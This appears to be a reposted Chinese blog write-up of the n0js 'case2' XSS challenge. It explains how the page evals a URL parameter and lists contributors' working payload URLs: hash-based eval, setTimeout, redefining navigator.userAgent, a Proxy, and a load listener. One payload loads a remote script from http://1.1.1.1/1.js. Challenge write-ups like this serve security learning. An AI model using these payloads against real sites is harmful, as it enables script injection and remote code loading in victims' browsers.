博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
记一次xss挑战
阅读量:6353 次
发布时间:2019-06-22

本文共 2878 字,大约阅读时间需要 9 分钟。

hot3.png

起始

一次看到一位大牛放出的一个xss挑战页面,在iframe页面中执行xss即算完成.地址:       http://server.n0tr00t.com/n0js/case2.html标准:      Please execute the jscode in the iframe(name=hi): prompt location.href     Work: Chrome, Firefox

case2.html

      
n0js case2

[n0js] case2

Please execute the jscode in the iframe(name=hi): prompt location.href
Work: Chrome, Firefox
Datetime: 2016-12-14
  • Submit: evi1m0.bat[at]gmail.com
  • Casetip: dota2 pudge
  • Subject by: evi1m0 / server.n0tr00t.com

                    

case2_test.html

分析

1. case2.html中js取url地址“="后面的值传入eval执行2. 页面先加载js,后加载的iframe3. url传入的参数带单引号,双引号都会被urlencode4. case2_test.html提示userAgent或许可用5. 开搞

解决

1. url应该是case2.html?test=payload2. 使用延时执行js;修改浏览器的navigator.platform属性;绑定监听页面load事件3. url地址“#”后面的单双引号等字符不会被编码

case1: 延时加载js

解法一:case2.html?a=location.hash.substr(1)#setTimeout("w=window['hi'];s=w.document.createElement('script');s.src='http://1.1.1.1/1.js';w.document.body.appendChild(s);", 2000) //@piaca解法二:case2.html?a=location.hash.substr(1)#setTimeout("hi.eval('prompt(location.href)')",500)  // @fyth

case2: 修改浏览器属性

解法一:case2.html?a=window.location.hash.substring(1)#Object.defineProperty(navigator,'userAgent',{get:function(){return '';}})  //@gaoheby解法二:case2.html?a=location.hash.substr(1)#navigator.__defineGetter__('userAgent', function(){ return '
'}) // @fyth解法三:case2.html?a=location.hash.substr(1)#var frame = document.createElement('iframe'); frame.style.display = 'none'; document.body.appendChild(frame); function navigator(){} window.navigator = new Proxy(window.frames[0].window.navigator, { get: function(n0t){return "
";} }) // @evi1m0解法四:case2.html?a=location.hash.substr(1)#function createProperty(value){var _value=value;function _get(){return _value}function _set(v){_value=v}return{"get":_get,"set":_set}}; function makePropertyWritable(objBase,objScopeName,propName,initValue){var newProp,initObj;if(objBase&&objScopeName in objBase&&propName in objBase[objScopeName]) {if(typeof initValue==="undefined"){initValue=objBase[objScopeName][propName]}newProp=createProperty(initValue);try{Object.defineProperty(objBase[objScopeName],propName,newProp)} catch(e){initObj={};initObj[propName]=newProp;try{objBase[objScopeName]=Object.create(objBase[objScopeName],initObj)}catch(e){}}}}; makePropertyWritable(window,"navigator","userAgent"); window.navigator.userAgent="
"; // 1124696276

case3: 绑定监听页面load属性

case2.html?test=location.hash.substr(1)#window.addEventListener('load', function(){window.hi.prompt(hi.location.href)})

最后

作者测试页面:    http://server.n0tr00t.com/n0js/    上面几个解法都来自此页面,作者又放出了一个case,欢迎感兴趣的去玩耍,多学习。MDN的 JavaScript文档:     https://developer.mozilla.org/zh-CN/docs/Web/JavaScript     好好学习天天向上,thx piaca & NorthOrchid。

转载于:https://my.oschina.net/u/1188877/blog/829194

你可能感兴趣的文章
YourSQLDba 配置——修改备份路径
查看>>
nginx web服务理论与实战
查看>>
java 库存 进销存 商户 多用户管理系统 SSM springmvc 项目源码
查看>>
网易音乐版轮播-react组件版本
查看>>
ES6 - 函数与剩余运算符
查看>>
你对position了解有多深?看完这2道有意思的题你就有底了...
查看>>
WebSocket跨域问题解决
查看>>
世界经济论坛发布关于区块链网络安全的报告
查看>>
巨杉数据库加入CNCF云原生应用计算基金会,共建开源技术生态
查看>>
Ubuntu 16.04安装Nginx
查看>>
从 JS 编译原理到作用域(链)及闭包
查看>>
flutter 教程(一)flutter介绍
查看>>
CSS面试题目及答案
查看>>
【从蛋壳到满天飞】JS 数据结构解析和算法实现-Arrays(数组)
查看>>
Spring自定义注解从入门到精通
查看>>
笔记本触摸板滑动事件导致连滑的解决方式
查看>>
Runtime 学习:消息传递
查看>>
你了解BFC吗?
查看>>
linux ssh tunnel使用
查看>>
十、详解FFplay音视频同步
查看>>